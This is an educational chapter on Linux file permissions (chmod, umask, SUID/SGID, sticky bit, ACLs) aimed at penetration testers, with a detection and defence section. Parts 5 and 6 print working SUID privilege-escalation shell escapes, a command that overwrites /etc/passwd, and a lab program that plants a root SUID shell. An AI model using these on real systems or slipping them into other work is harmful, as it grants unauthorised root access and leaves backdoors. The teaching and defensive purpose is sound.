Skip to content

Who This Is For, and Why Permissions Matter

Section titled “Who This Is For, and Why Permissions Matter”

This chapter teaches Linux permissions — arguably the single most exploited misconfiguration category in real-world penetration testing. If you’ve ever seen a walkthrough end with “we found a SUID binary and got root in two commands,” this chapter is where that skill comes from.

Every file and directory on a Linux system carries a permission model that decides who can read it, write it, or execute it. Get this model wrong — even slightly — and you’ve opened a door. A world-writable configuration file, a misconfigured SUID binary, an overly generous sudoers entry, a chmod 777 slapped on a directory to “just make it work” — these are not hypothetical. They show up constantly in HackTheBox boxes, TryHackMe rooms, real bug bounty reports, and real breach postmortems.

By the end of this chapter you will be able to: read and calculate any permission string on sight, use chmod and chown fluently in both symbolic and octal notation, understand exactly what SUID, SGID, and the sticky bit do and why they exist, use umask to control default permissions, use ACLs for permission models that the classic owner/group/other system can’t express, and — critically — hunt for permission-based privilege escalation vectors the way a real penetration tester does.


Part 1: Foundations — The Owner/Group/Other Model

Section titled “Part 1: Foundations — The Owner/Group/Other Model”

Linux was designed from day one as a multi-user system — many people (or many processes acting on their behalf) sharing one machine. Without a permission system, any user could read your private SSH keys, overwrite another user’s homework, or kill another user’s processes. Permissions are the referee that enforces “your stuff is yours, my stuff is mine, and some stuff belongs to everybody.”

Think of a Linux permission set like a hotel. The owner is the person who booked the room and has a key. The group is like “hotel staff” — a defined set of people who share some access (housekeeping can enter to clean, but not random guests). Others are everyone else — by default, they shouldn’t get in at all unless the door is explicitly left unlocked.

Every file and directory has exactly one owner (a user) and exactly one owning group. Permissions are then defined for three separate identities:

IdentitySymbolMeaning
User (owner)uThe single user who owns the file
GroupgMembers of the file’s owning group
OtheroEveryone else on the system
AllaShorthand for u+g+o combined
PermissionSymbolEffect on a FILEEffect on a DIRECTORY
ReadrView file contentsList directory contents (ls)
WritewModify/overwrite/delete file contentsCreate, delete, rename files inside it
ExecutexRun the file as a program/scriptEnter the directory (cd) and access items inside

Key insight that trips up beginners: directory permissions are not about the directory’s own “content” the way file permissions are — they gate whether you can traverse into it (x) and whether you can add/remove entries in it (w). A file can be world-readable, but if its parent directory lacks x for you, you can’t reach it at all. This is exactly why some CTF privilege escalation paths hinge on directory permissions rather than file permissions.

Terminal window
$ ls -l /etc/shadow /home/praneeth/notes.txt /usr/bin/passwd
-rw-r----- 1 root shadow 1823 Jul 20 09:14 /etc/shadow
-rw-r--r-- 1 praneeth praneeth 512 Jul 24 08:00 /home/praneeth/notes.txt
-rwsr-xr-x 1 root root 68208 Feb 10 2026 /usr/bin/passwd

Break down the 10-character string -rwsr-xr-x:

- rws r-x r-x
^ ^ ^ ^
type owner group other
  • Position 1 — file type: - regular file, d directory, l symlink, c character device, b block device, s socket, p named pipe (FIFO).
  • Positions 2–4 — owner permissions (rws = read, write, execute+SUID — more on that s shortly).
  • Positions 5–7 — group permissions (r-x = read, no write, execute).
  • Positions 8–10 — other permissions (r-x).
flowchart LR
    A["-rwsr-xr-x"] --> B["Position 1: file type (-)"]
    A --> C["Positions 2-4: owner (rws)"]
    A --> D["Positions 5-7: group (r-x)"]
    A --> E["Positions 8-10: other (r-x)"]
    C --> C1["r=read w=write s=execute+SUID"]

Each permission triad maps to a 3-bit binary number, which collapses to a single octal digit:

BinaryOctalMeaning
rwx1117
rw-1106
r-x1015
r--1004
-wx0113
-w-0102
--x0011
---0000

Why it adds up like this: r=4, w=2, x=1 (powers of two, exactly like binary place values). Add the ones that apply. rw- = 4+2 = 6. r-x = 4+1 = 5. rwx = 4+2+1 = 7.

So -rwxr-xr-- becomes octal 754:

  • owner rwx = 7
  • group r-x = 5
  • other r-- = 4

Memory hook: think of the digit as “how much door is open” — 7 is a door wide open (all three), 0 is a bricked-up wall, and everything else is some partial opening. chmod 644 (the most common file permission — owner read/write, everyone else read-only) reads instantly once you know 6=rw-, 4=r—.

Common defaults to memorize:

  • 644 — typical file (owner edits, everyone reads)
  • 755 — typical executable/directory (owner full control, everyone else can read+traverse/execute)
  • 600 — private file, owner only (SSH private keys, .env files)
  • 700 — private directory, owner only (~/.ssh)
  • 777 — everyone can do everything (a huge red flag almost everywhere you see it)

chmod (“change mode”) sets permissions. It supports two syntaxes: octal (absolute) and symbolic (relative/additive).

Terminal window
chmod 644 notes.txt # rw-r--r--
chmod 755 script.sh # rwxr-xr-x
chmod 600 id_rsa # rw-------
chmod 700 ~/.ssh # rwx------
chmod -R 755 /var/www/app # recursive: apply to directory and everything inside

Octal notation is absolute — you specify the exact final state for all three identities in one shot. This is the fast, precise, scriptable way to set permissions and the one you’ll use 90% of the time.

Symbolic mode uses who + operator + permission:

u/g/o/a +/-/= r/w/x
  • + adds a permission without touching others
  • - removes a permission without touching others
  • = sets exactly this permission, clearing anything not listed
Terminal window
chmod u+x script.sh # add execute for owner only
chmod g-w file.txt # remove write from group
chmod o=r file.txt # set "other" to exactly read (no write, no exec)
chmod a+r file.txt # add read for everyone
chmod u+x,g+x script.sh # multiple targets, comma-separated
chmod +x script.sh # shorthand: no "who" specified = affects all (subject to umask)

When to reach for symbolic vs octal: use symbolic when you want to change one thing without recalculating the whole octal value (e.g., “just make this executable” → chmod +x). Use octal when you know the exact target state and want to set it in one deterministic command — which is also why octal is preferred in scripts and automation, since it’s idempotent and unambiguous.

Terminal window
chmod -R 755 /var/www/app

This looks convenient but is a classic mistake: it applies 755 to both files and directories, meaning every file (even ones that should never be executable, like config.php) becomes executable too. The correct pattern separates files from directories:

Terminal window
# Directories need x to be traversable; files usually don't need x
find /var/www/app -type d -exec chmod 755 {} \;
find /var/www/app -type f -exec chmod 644 {} \;

Or more efficiently with chmod’s own capital-letter conditional flags:

Terminal window
chmod -R u=rwX,g=rX,o=rX /var/www/app

The capital X is special: it sets execute only if the item is a directory, or if it already has execute set for someone. This avoids making random data files executable while still making directories traversable — a subtle but important distinction that shows up in real deployment scripts and in CTF permission-fixing scenarios.


Part 3: chown and chgrp — Changing Ownership

Section titled “Part 3: chown and chgrp — Changing Ownership”

chown changes the owner (and optionally group); chgrp changes only the group.

Terminal window
chown praneeth notes.txt # change owner only
chown praneeth:staff notes.txt # change owner AND group
chown :staff notes.txt # change group only (via chown)
chgrp staff notes.txt # change group only (dedicated command)
chown -R www-data:www-data /var/www/app # recursive ownership change

Critical rule: only root can change a file’s owner to another user (regular users can’t “give away” files to dodge disk quotas or hide ownership). A regular user can change the group of their own file, but only to a group they themselves belong to.

Terminal window
# Check what groups you're a member of
groups
id
# uid=1000(praneeth) gid=1000(praneeth) groups=1000(praneeth),27(sudo),999(docker)

Real-world pitfall: the docker group above is a landmine. Membership in docker is functionally equivalent to root, because any user in that group can mount the host filesystem into a container and read/write it as root. This exact fact is a well-known Linux privilege escalation technique — covered in the Privilege Escalation track later, but worth flagging here since it’s a group membership issue, not a file permission issue.


Part 4: umask — Controlling Default Permissions

Section titled “Part 4: umask — Controlling Default Permissions”

When you create a new file or directory, Linux doesn’t start from 000. It starts from a maximum default and then subtracts whatever umask specifies.

  • New files start from a base of 666 (rw-rw-rw-) — files are never created executable by default, even if umask allows it, for safety.
  • New directories start from a base of 777 (rwxrwxrwx) — since directories need x to be usable at all.
Terminal window
umask
# 0022

umask 022 means: subtract write from group and other. Apply that to the bases:

File base: 666 Directory base: 777
umask: - 022 umask: - 022
----- -----
Result: 644 755
flowchart TD
    A["New file created"] --> B["Base permission: 666 (rw-rw-rw-)"]
    B --> C["Subtract umask (default 022)"]
    C --> D["Result: 644 (rw-r--r--)"]
    E["New directory created"] --> F["Base permission: 777 (rwxrwxrwx)"]
    F --> G["Subtract umask (default 022)"]
    G --> H["Result: 755 (rwxr-xr-x)"]

Setting a stricter umask session-wide:

Terminal window
umask 077 # new files: 600, new directories: 700 — nothing shared with group/other
umask 002 # new files: 664, new directories: 775 — common for shared team directories

To make a umask persist, set it in ~/.bashrc, ~/.profile, or /etc/profile (system-wide). Servers that handle sensitive data (financial systems, CI/CD runners, secrets managers) often ship with umask 027 or 077 baked into their shell init to guarantee new files are never accidentally world-readable.

Why this matters operationally: a misconfigured umask is a silent, systemic vulnerability. If a deployment script or a service runs with umask 000, every single file it ever creates is world-writable from that moment on — logs, temp files, config files, everything. This has been the root cause of real privilege escalation chains where an attacker simply waits for a cron job to write a new file, then overwrites it before it’s used.


Part 5: The Special Permission Bits — SUID, SGID, Sticky Bit

Section titled “Part 5: The Special Permission Bits — SUID, SGID, Sticky Bit”

This is the section that actually shows up in privilege escalation, so slow down here.

SUID (Set User ID) — the s in the owner slot

Section titled “SUID (Set User ID) — the s in the owner slot”

When a binary has the SUID bit set, running it executes the program with the privileges of the file’s owner, not the privileges of the user who ran it. This is how /usr/bin/passwd works: any regular user needs to write to /etc/shadow (root-only) to change their own password, so passwd is owned by root and carries SUID — when you run it, it temporarily “becomes root” just long enough to update the shadow file, then exits.

Terminal window
ls -l /usr/bin/passwd
# -rwsr-xr-x 1 root root 68208 Feb 10 2026 /usr/bin/passwd

Notice the lowercase s replacing the x in the owner triad. That means SUID and execute are both set. If SUID is set but execute is not (rare, usually a misconfiguration), you’ll see an uppercase S instead — a capital letter always signals “the special bit is set, but the underlying execute bit it depends on is missing.”

Setting SUID:

Terminal window
chmod u+s program # symbolic
chmod 4755 program # octal — the leading 4 is the SUID bit

The octal special-bit prefix works like this:

Special bitOctal valueSymbolic
SUID4000u+s
SGID2000g+s
Sticky1000+t

So chmod 4755 file = SUID (4000) + rwxr-xr-x (755).

SGID (Set Group ID) — the s in the group slot

Section titled “SGID (Set Group ID) — the s in the group slot”

On an executable, SGID works like SUID but for the group: the program runs with the privileges of the file’s owning group.

On a directory, SGID does something different and extremely useful: any new file or subdirectory created inside inherits the parent directory’s group, instead of the creating user’s primary group. This is the standard way to set up shared team directories.

Terminal window
chmod g+s /srv/shared_project
chown :devteam /srv/shared_project
# Now anyone in devteam who creates a file inside /srv/shared_project
# automatically gets that file owned by group "devteam" — collaboration
# works without everyone manually chgrp-ing every new file.

The Sticky Bit — the t in the other slot

Section titled “The Sticky Bit — the t in the other slot”

The sticky bit, applied to a directory, means: even if a user has write access to the directory, they can only delete or rename files they themselves own inside it — not other users’ files. The canonical example is /tmp:

Terminal window
ls -ld /tmp
# drwxrwxrwt 15 root root 4096 Jul 24 10:00 /tmp

/tmp is world-writable (everyone needs to drop temp files there) but without the sticky bit, any user could delete or overwrite anyone else’s temp files — chaos, and a real attack vector (symlink races, TOCTOU attacks on predictable temp filenames). The trailing t prevents that.

Terminal window
chmod +t /shared_dropbox # symbolic
chmod 1777 /shared_dropbox # octal — everyone can read/write/traverse, but only delete their own files
flowchart TD
    A[Special Permission Bits] --> B["SUID (4000) — u+s"]
    A --> C["SGID (2000) — g+s"]
    A --> D["Sticky Bit (1000) — +t"]
    B --> B1["On executable: runs as file OWNER, not caller"]
    C --> C1["On executable: runs as file GROUP"]
    C --> C2["On directory: new files inherit dir's group"]
    D --> D1["On directory: users can only delete their OWN files"]

If a SUID binary lets you read arbitrary files, write arbitrary files, or spawn a shell — and it’s owned by root — you inherit root the instant you run it. This is why “find SUID binaries” is step one of nearly every Linux privilege escalation checklist.

Terminal window
# Find every SUID binary on the system
find / -perm -4000 -type f 2>/dev/null
# Find every SGID binary
find / -perm -2000 -type f 2>/dev/null
# Find both at once
find / -perm -6000 -type f 2>/dev/null

Once you have a list, you cross-reference it against GTFOBins — a curated database of Unix binaries that can be abused to bypass local security restrictions when they carry SUID, are runnable via sudo, or have other special properties. Classic examples: if find has SUID and is owned by root, you can do:

Terminal window
find . -exec /bin/sh -p \; -quit

The -p flag on sh preserves the effective UID granted by the SUID bit instead of dropping it — this exact flag is why some “obviously SUID” binaries still fail to escalate for beginners: modern shells drop privileges by default unless told not to.

Other classic SUID GTFOBins examples worth knowing cold:

Terminal window
# vim with SUID
vim -c ':!/bin/sh'
# less/more with SUID
less /etc/profile
!/bin/sh
# python with SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# cp with SUID — overwrite /etc/passwd or /etc/shadow directly
cp /tmp/fake_passwd /etc/passwd

Spin up any disposable Linux VM (a Kali VM, a Docker container, or a free-tier cloud box you control) and work through this sequence. Nothing here touches a shared or production system.

Terminal window
# 1. Set up a sandbox
mkdir ~/permlab && cd ~/permlab
touch secret.txt teamfile.txt
mkdir shared
# 2. Inspect default permissions your umask produced
ls -l
# -rw-r--r-- 1 you you 0 ... secret.txt (644, from umask 022)
# 3. Lock secret.txt down to owner-only
chmod 600 secret.txt
ls -l secret.txt
# -rw------- 1 you you 0 ... secret.txt
# 4. Make a "script" and try running it before/after +x
echo '#!/bin/bash' > run.sh
echo 'echo "hello from script"' >> run.sh
./run.sh
# bash: ./run.sh: Permission denied
chmod +x run.sh
./run.sh
# hello from script
# 5. Set up a shared-group directory with SGID
sudo groupadd permlabteam 2>/dev/null
sudo chown :permlabteam shared
chmod 2775 shared # SGID + rwxrwxr-x
ls -ld shared
# drwxrwsr-x ... shared <- note the lowercase s
# 6. Confirm SGID inheritance
touch shared/newfile.txt
ls -l shared/newfile.txt
# group should be "permlabteam", not your primary group
# 7. Simulate a world-writable directory WITHOUT sticky bit (dangerous)
mkdir nosticky && chmod 777 nosticky
# any user on the box could now delete files owned by other users inside it
# 8. Fix it with the sticky bit
chmod +t nosticky
ls -ld nosticky
# drwxrwxrwt ... nosticky <- note the lowercase t
# 9. Hunt for SUID binaries like a pentester would
find / -perm -4000 -type f 2>/dev/null | tee suid_list.txt
# cross-reference each path against gtfobins.github.io
# 10. Create a deliberately vulnerable SUID binary for practice (lab only!)
cat << 'EOF' > vuln_suid.c
int main() { setuid(0); setgid(0); system("/bin/sh"); return 0; }
EOF
gcc vuln_suid.c -o vuln_suid
sudo chown root:root vuln_suid
sudo chmod 4755 vuln_suid
ls -l vuln_suid
# -rwsr-xr-x 1 root root ... vuln_suid
./vuln_suid
# id
# uid=1000(you) gid=1000(you) euid=0(root) — you're effectively root now

Lab safety note: step 10 deliberately creates a root-owned SUID shell for teaching purposes. Never leave this binary on a real or shared machine — remove it (sudo rm vuln_suid) once you’ve confirmed you understand the mechanism.


Part 7: Access Control Lists (ACLs) — Beyond Owner/Group/Other

Section titled “Part 7: Access Control Lists (ACLs) — Beyond Owner/Group/Other”

The classic model only supports one owner and one group per file. Sometimes you need finer control — “user Alice gets read-write, user Bob gets read-only, everyone else gets nothing” — without creating a new group for every combination. That’s what POSIX ACLs are for.

Terminal window
# View ACLs (a '+' after the permission string in ls -l means ACLs are present)
getfacl notes.txt
# Grant a specific user read+write, beyond the normal owner/group/other model
setfacl -m u:alice:rw notes.txt
# Grant a specific group read-only
setfacl -m g:auditors:r notes.txt
# Remove a specific ACL entry
setfacl -x u:alice notes.txt
# Remove ALL ACL entries, reverting to classic permissions
setfacl -b notes.txt
Terminal window
ls -l notes.txt
# -rw-rw-r--+ 1 owner group ... <- the trailing + means "check getfacl for the full picture"

ACLs matter for real engagements because ls -l alone can lie to you — a file can look locked down (640) while a hidden ACL grants a completely different user full write access. Always run getfacl on interesting files during an assessment, not just ls -l.


Part 8: Common Challenges, Mistakes, and How to Overcome Them

Section titled “Part 8: Common Challenges, Mistakes, and How to Overcome Them”
SymptomRoot CauseFix
Permission denied running a script you just wroteMissing execute bitchmod +x script.sh
Can’t cd into a directory you can ls from outsideDirectory missing x for youchmod +x (not +r) on the directory
Web app can’t write to a file, even as root-owned Apache/Nginx workerWrong owning group, or SELinux/AppArmor blocking it (permissions look fine but a second layer denies it)Check getenforce/aa-status in addition to ls -l
chmod “succeeds” but permissions don’t changeYou’re not the owner and not rootYou need sudo, or you’re targeting the wrong path (symlink vs real file)
SUID bit silently disappears after copying a filecp by default does not preserve special bits, and many filesystems (like ones mounted nosuid, e.g. /tmp on hardened systems) strip SUID entirelyUse cp -p to preserve mode bits where the filesystem allows it, and check `mount
A “SUID root” binary doesn’t escalate you like GTFOBins says it shouldFilesystem mounted with nosuid, or the binary drops privileges internally, or you’re running a statically-linked shell that ignores -pCheck mount flags for nosuid; try the GTFOBins “Shell” technique that explicitly uses -p
umask change doesn’t seem to applySet in the wrong shell init file, or the process was already running before the changeConfirm with umask in a fresh shell; some daemons set their own umask in their systemd unit (UMask= directive)

Penetration testing / CTF: the single most common “quick win” in a Linux privilege escalation checklist (linpeas.sh, linenum.sh, manual enumeration) is scanning for SUID binaries and world-writable files/directories owned by root-run processes. This isn’t theoretical — it’s step one on nearly every intro-to-intermediate HackTheBox and TryHackMe Linux box.

Real breach pattern: misconfigured shared hosting and CI/CD environments have repeatedly been compromised via world-writable directories where a low-privileged web shell dropped a malicious script into a path later executed by a root cron job — a direct consequence of the exact 777-without-sticky-bit mistake covered in Part 5. This pattern (write to a location a privileged process later executes) is a recurring theme across real incident write-ups involving shared web hosting panels.

DevOps/production reality: Docker images that RUN chmod -R 777 “to fix a permissions error” are extremely common in the wild — a quick GitHub code search for that exact pattern turns up thousands of Dockerfiles. It “works” because it stops permission errors, but it also means any process compromised inside that container (e.g., via a dependency vulnerability) can tamper with every file the app ships with, including its own code.


Bug Bounty Angle — Pure file-permission bugs on a target’s own Linux boxes aren’t directly reportable in most bug bounty programs (you typically don’t have shell access to test them), but permission concepts translate directly into IDOR and privilege-boundary bugs in web platforms: an API endpoint that lets a low-privilege user read or write another user’s resource is the exact same logic flaw as a 777 file — a boundary that should exist, doesn’t. When you do get RCE or SSRF that lands you a shell (e.g., via an uploaded file, SSTI, or a vulnerable admin panel), the very next steps are exactly this chapter: enumerate SUID binaries, check sudo -l, and look for writable files owned by higher-privileged users, because escalating from “www-data shell” to “root” is what turns a medium-severity RCE report into a critical one with full-system compromise impact. Document the privesc path in your report — programs pay more for demonstrated impact, not just theoretical RCE.

CTF Angle — Nearly every “easy” and many “medium” Linux boxes on HackTheBox/TryHackMe end with a permissions-based privesc. Your fast checklist the moment you land a low-priv shell: sudo -l (what can you run as root without a password?), find / -perm -4000 -type f 2>/dev/null (SUID binaries — check each against GTFOBins), find / -writable -type d 2>/dev/null | grep -v proc (world-writable directories), and find / -perm -o+w -type f 2>/dev/null (world-writable files, especially anything under /etc, /opt, or referenced by a cron job — check cat /etc/crontab and ls -la /etc/cron.*). Automate this with linpeas.sh (LinPEAS) once you understand what it’s actually checking — running a tool you don’t understand is how you miss the manual-only findings.


Part 10: Detection & Defense — Blue Team Perspective

Section titled “Part 10: Detection & Defense — Blue Team Perspective”

Defenders should never rely on developers “remembering” to set safe permissions. Bake enforcement into the pipeline:

  • Baseline auditing: periodically run find / -perm -4000 -o -perm -2000 -type f 2>/dev/null against a known-good baseline and alert on any new SUID/SGID binary appearing — this is a strong indicator of a backdoor or a successful local privilege escalation.
  • File integrity monitoring (FIM): tools like AIDE, Tripwire, or EDR-integrated FIM watch for permission and ownership changes on sensitive files (/etc/passwd, /etc/shadow, /etc/sudoers, SUID binaries) in real time.
  • Mount hardening: mount /tmp, /dev/shm, and any user-writable partitions with nosuid,nodev,noexec where feasible, so even if an attacker drops a SUID binary there, the kernel refuses to honor the bit.
  • Least privilege by default: enforce umask 027 or stricter via /etc/profile and systemd UMask= directives on service units, so new files are never accidentally world-writable.
  • Config management drift detection: tools like Ansible, Chef, or Puppet should assert exact file modes as part of their state, and CI should fail a deploy if a 777 or chmod -R 777 pattern is detected in a Dockerfile or provisioning script (a simple grep -R "chmod.*777" in CI catches an embarrassing amount of real-world misconfiguration before it ships).
  • How attackers get caught: SUID enumeration commands (find / -perm -4000...) are noisy and distinctive in EDR/auditd logs — a sudden burst of filesystem-wide find or stat syscalls from a freshly spawned low-privilege shell is a strong privesc-attempt signal, and a well-tuned SOC detection rule on execve of find, locate, or LinPEAS-style scripts against / is cheap and high-signal.

  • Every file/directory has an owner, a group, and permissions for user/group/other — r=read, w=write, x=execute (execute on a directory means “traverse it”).
  • Octal notation: r=4, w=2, x=1, summed per identity. 644 = owner rw, everyone else read-only. 755 = owner full, everyone else read+execute.
  • chmod changes permissions (octal for absolute, symbolic u/g/o/a + +/-/= + r/w/x for relative). chown/chgrp change ownership; only root can change a file’s owner.
  • umask subtracts from the default base (666 files, 777 directories) to determine actual permissions on creation. Default 022 → 644/755.
  • SUID (4000, u+s) runs a program as its owning user — the #1 Linux privilege escalation vector when the owner is root. SGID (2000, g+s) does the same for group, and on directories makes new files inherit the parent’s group. Sticky bit (1000, +t) restricts deletion in shared writable directories (like /tmp) to each file’s own owner.
  • ACLs (setfacl/getfacl) extend permissions beyond one owner/one group when the classic model isn’t expressive enough — always check getfacl, since ls -l alone can hide extra grants (watch for the trailing +).
  • Privilege escalation checklist: sudo -l, SUID/SGID hunting with find / -perm -4000 -type f, world-writable file/directory hunting, and cross-referencing findings against GTFOBins.

Memory hook: “rwx = 4-2-1, like a countdown to launch.” And for the special bits: SUID steals the owner’s identity, SGID steals the group’s identity, sTicky ties deletion rights to whoever typed the file into existence.


Terminal window
# Reading permissions
ls -l file # rwxrwxrwx style
ls -ld directory # same, for a directory itself (not its contents)
stat file # verbose, includes octal mode
# Octal chmod
chmod 644 file # rw-r--r--
chmod 755 file_or_dir # rwxr-xr-x
chmod 600 file # rw------- (private)
chmod 700 dir # rwx------ (private dir)
chmod -R 755 dir # recursive (careful: hits files AND dirs)
# Symbolic chmod
chmod u+x file # add execute for owner
chmod g-w file # remove write for group
chmod o=r file # set other to exactly read
chmod a+r file # add read for everyone
chmod +X -R dir # execute only where already exec or is a dir
# Ownership
chown user file
chown user:group file
chown -R user:group dir
chgrp group file
# umask
umask # show current
umask 022 # set (files 644, dirs 755)
umask 077 # strict (files 600, dirs 700)
# Special bits
chmod u+s file / chmod 4755 file # SUID
chmod g+s dir / chmod 2775 dir # SGID
chmod +t dir / chmod 1777 dir # Sticky bit
# Hunting (privesc / audit)
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
find / -perm -6000 -type f 2>/dev/null # SUID + SGID
find / -writable -type d 2>/dev/null | grep -v proc # world-writable dirs
find / -perm -o+w -type f 2>/dev/null # world-writable files
sudo -l # what can you run as root?
# ACLs
getfacl file
setfacl -m u:alice:rw file
setfacl -x u:alice file
setfacl -b file # strip all ACLs
OctalSymbolicCommon Use
777rwxrwxrwxAlmost never correct — full open access
755rwxr-xr-xExecutables, web-servable directories
700rwx------Private directories (~/.ssh)
644rw-r—r—Normal files, config that others should read
600rw-------Private files (SSH keys, secrets, .env)
4755rwsr-xr-xSUID root binary (e.g., passwd)
2775rwxrwsr-xSGID shared team directory
1777rwxrwxrwtSticky shared directory (/tmp)

  • TryHackMe — “Linux Fundamentals Part 3” — dedicated room covering permissions, ownership, and chmod/chown hands-on.
  • TryHackMe — “Linux PrivEsc” — a full room built around SUID, sudo misconfig, cron jobs, and writable-file privilege escalation, directly extending this chapter.
  • HackTheBox — any “Easy” Linux box tagged with “SUID” or “sudo misconfiguration” — practice the exact find -perm -4000 + GTFOBins workflow end to end.
  • GTFOBins (gtfobins.github.io) — the reference database for abusing SUID/sudo/capabilities on standard Unix binaries; bookmark it, you’ll use it constantly.
  • OverTheWire — Bandit (levels 1–10) — heavy repetition of permission reading and find-based enumeration in a safe wargame environment.
  • LinPEAS (github.com/peass-ng/PEASS-ng) — once you understand this chapter manually, run LinPEAS on a lab box and read its output line by line to see how it automates everything covered here.

Discussion

Questions, corrections, or something to add? Comment with your GitHub account.